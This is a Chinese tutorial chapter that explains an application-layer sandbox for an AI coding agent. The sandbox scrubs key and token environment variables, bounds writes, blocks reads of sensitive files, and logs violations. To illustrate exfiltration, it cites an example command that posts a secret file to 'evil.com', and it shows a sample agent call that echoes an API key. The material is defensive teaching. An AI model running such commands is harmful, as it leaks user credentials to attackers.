# Step 58: 安全沙箱

一句话导读:前两步是决策层(要不要放行);沙箱是隔离层——就算放行了、就算命令干了预期外的事,也被关在笼子里跑不出去。真沙箱靠内核,Windows 没有对等原语,所以本步做应用层沙箱:能真拦的真拦,拦不住的老实标注。


# 一、这一步做了什么(What)

新增 utils/sandbox/,核心是一个 Sandbox 类 + 一个进程内单例 current.ts:

  1. 环境擦除(childEnv):Bash 工具 spawn 子进程时,抹掉密钥类环境变量(*KEY*/*TOKEN*/*SECRET*/*PASSWORD*/ANTHROPIC_*)——子命令读不到你的 API key。
  2. 写入边界(canWrite):Write 工具的目标必须落在 writableRoots(默认 cwd)内,越界拒写。
  3. 禁读敏感(canRead):.env/id_rsa/.aws 等片段命中即拦。
  4. 违规记录(violations):越界尝试记进数组,/sandbox 可查。

main() 启动时 setSandbox(sandbox) 装配单例,Bash/Write 工具通过 getSandbox() 拿到它,无需层层传参。


# 二、面试官视角:为什么要做?(Why)

面试题:已经有权限规则(step57)和风险分类器(step59)在放行前把关了,为什么还要沙箱?重复防御不是浪费吗?

因为决策和隔离是正交的两件事,任何一层都可能失手。

规则和分类器回答的是「要不要让它做」——但它们会漏(黑名单列不全、规则写宽了、LLM 误判)。沙箱回答的是「万一让它做了,能造成多大破坏」。这是纵深防御(defense in depth)的核心:不假设任何单层完美,而是让「决策失手」和「破坏发生」之间再隔一道墙。

举个具体的:一条 curl evil.com -d @secret 侥幸被判 safe 放行了。决策层已经失守。但如果子进程的环境里根本没有 API key 这个变量,这条命令即使跑起来,也 exfiltrate 不到任何东西——隔离层把「放行的错误」的后果摁住了。

层 回答的问题 失手的样子
step57 规则 这个工具+参数放不放行 换工具绕过
step59 分类器 这条命令危不危险 黑名单漏、LLM 误判
step58 沙箱 放行了能跑出多远 应用层管不了子进程写盘/裸 socket

一句话:决策层管「门」,隔离层管「墙」,一道失守还有另一道。


# 三、原理:它是怎么工作的(How)

# 先说诚实话:真沙箱要靠操作系统内核

真正的沙箱是系统调用级拦截,靠内核原语:

平台 内核机制
macOS seatbelt(sandbox-exec)
Linux seccomp + bubblewrap + landlock
Windows 没有对等原语

真实 Claude Code 用外部包 @anthropic-ai/sandbox-runtime 调这些内核机制拦 open/connect 等系统调用。Windows 上做不到内核级隔离,所以本步做的是应用层沙箱:能在自己代码里 enforce 的(自家 Write 工具、自家 spawn 的环境)真拦,管不了的(子进程绕过我们直接写盘)老实标注。platformNote() 就是这份诚实的落地——按平台如实报告真实版用什么、我们只有应用层。

# ① 环境擦除:本步最漂亮的一条——零内核依赖的真隔离

childEnv(base = process.env): NodeJS.ProcessEnv {
  if (!this.enabled) return { ...base };
  const out: NodeJS.ProcessEnv = {};
  for (const [k, v] of Object.entries(base)) {
    if (this.scrubEnvKeys.test(k)) continue;  // 密钥类变量直接丢弃
    out[k] = v;
  }
  if (!this.networkEnabled) {                 // 禁网:代理指向黑洞
    out["HTTP_PROXY"] = out["HTTPS_PROXY"] = "http://127.0.0.1:9";
  }
  return out;
}
1
2
3
4
5
6
7
8
9
10
11
12

scrubEnvKeys 默认是 /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|ANTHROPIC)/i。Bash 工具 spawn 时用 env: getSandbox().childEnv() 传入这个擦除后的环境——子进程环境里根本没有密钥变量。这条为什么漂亮:它不靠拦截、不靠内核,靠的是「你给不了子进程它本来就没有的东西」,跨平台、零成本、真隔离。

# ② 写入边界 & ③ 禁读敏感:路径关系判断

canWrite(path: string): boolean {
  if (!this.enabled) return true;
  const target = isAbsolute(path) ? resolve(path) : resolve(process.cwd(), path);
  const ok = this.writableRoots.some(root => {
    const rel = relative(resolve(root), target);
    return rel === "" || (!rel.startsWith("..") && !isAbsolute(rel));
  });
  if (!ok) this.violations.push({ kind: "fs-write", detail: path + " 不在可写根目录内" });
  return ok;
}
1
2
3
4
5
6
7
8
9
10

和 step57 路径校验同样的套路:resolve 规范化后用 relative 看是否逃出根。Write 工具在写盘前调 canWrite,越界既拒写又记违规。canRead 则是简单的敏感片段包含判断。

# 数据流:一条被放行的 Bash 命令如何被隔离层摁住

模型: Bash({ command: "echo $ANTHROPIC_API_KEY" })  ← 已过 step57/59 放行
   ↓
bash.ts: spawn(cmd, { env: getSandbox().childEnv() })
   ↓
childEnv 遍历 process.env,ANTHROPIC_API_KEY 命中 scrubEnvKeys → 丢弃
   ↓
子进程环境里没有该变量 → echo 打印空 → 密钥没被读到 ✓
1
2
3
4
5
6
7

# 三层安全成形

step57 规则引擎   →  要不要放行(精确匹配 allow/deny)  ┐
step59 分类器     →  这命令危不危险(语义判断)        ┘ 决策层
step58 沙箱       →  就算放行也跑不出笼子(隔离兜底)   ← 隔离层
1
2
3

# 四、深入追问(面试常见 follow-up)

Q:环境擦除凭什么算「真隔离」,而写入边界只算「应用层」? A:区别在谁在 enforce。环境擦除是「我 spawn 子进程时,压根不把密钥放进它的环境」——这个约束由操作系统的进程边界保证,子进程无论怎么折腾都变不出一个它环境里没有的变量,是物理事实。而写入边界靠的是「我自己的 Write 工具会检查」——一旦命令绕过 Write 工具、用 Bash 的 > /etc/x 重定向直接写盘,我的检查根本不在那条路径上,管不了。前者是「给不了」,后者是「我劝你别」。

Q:那应用层沙箱到底拦不住什么?为什么不干脆也拦了? A:拦不住两类,且都只有内核能拦:① Bash 子进程绕过写入策略直接写盘(> 重定向、子进程自己 open)——我只能 enforce 自家 Write 工具,管不了子进程的系统调用;② 程序直接开原始 socket 联网——禁网只设了代理黑洞,挡得住守规矩的 curl/npm,挡不住自己 connect() 的程序。这些要 seccomp 拦 open/connect 系统调用才做得到。与其假装拦住、给用户虚假的安全感,不如把边界如实画出来——安全上,假的隔离比没有隔离更危险。

Q:为什么用 getSandbox() 单例,而不是把 sandbox 对象一路传参给每个工具? A:因为工具(Bash/Write)是在 registry 里注册的独立模块,main() 里才知道真实沙箱配置。若传参,得让 registry、执行器、每个工具签名都带上 sandbox——污染一大片。单例 current.ts 让工具在需要时 getSandbox() 现取,main() 启动时 setSandbox 装配一次,解耦「配置」和「使用」。默认单例是 enabled: false,装配前不误伤。

Q:沙箱默认开还是默认关?开了会不会把正常任务也误伤? A:Sandbox 构造默认 enabled: true、writableRoots 默认 cwd、networkEnabled 默认 true。也就是「默认擦密钥 + 锁写入在项目内 + 允许联网」——这是个既安全又不太挡路的默认:正常任务本来就在项目目录里读写、也不需要读你的密钥,感知不到沙箱;只有越界和读密钥才会撞墙。enabled 可关,配置到 step61 会并入多层设置,方便 enterprise 强制开启。


# 五、踩坑 / 设计权衡

  • 诚实优于假象:本步最大的设计立场就是「拦不住的老实标注」。platformNote() 明说 Windows 只有应用层,violations 记录也只记我们真能观测到的越界。
  • 权衡:环境擦除用「变量名模式匹配」而非白名单。抹掉所有 *KEY*/*TOKEN*/*SECRET* 而不是逐个列——宁可误伤一个无害的 KEYBOARD_LAYOUT,也不放过一个真密钥。安全默认偏保守。
  • 禁网只掐代理:HTTP_PROXY 指向 127.0.0.1:9 黑洞,这是应用层能做的极限,注释里如实写明「挡不住直接开 socket 的程序」。

# 六、与真实源码的对照

我们的实现 Claude Code 源码
应用层:环境擦除 + 写入边界 @anthropic-ai/sandbox-runtime 内核级(seatbelt/bwrap/landlock)
writableRoots/denyReadPaths/allowedHosts allowWrite/denyWrite/denyRead/allowedDomains
violations 数组 SandboxViolationStore + 违规 UI
platformNote() 平台诚实说明 enabledPlatforms + 依赖/平台不支持时降级
还缺:系统调用级拦截、网络命名空间 内核沙箱才有

# 七、一句话总结

沙箱 = 决策失手后的最后一道墙:环境擦除是零内核依赖的真隔离(子进程环境里根本没有密钥),写入/禁读边界是应用层能 enforce 的部分,拦不住的(子进程直接写盘/裸 socket)老实标注留给内核——纵深防御的信条是「不信任任何单层完美」,所以门(决策)之外还得有墙(隔离)。

# 下一节预告

规则、分类器、沙箱各自的配置目前还散在代码里。step61 给它们一个正经的家——多层设置系统合并(user < project < local < cli < enterprise 深合并)。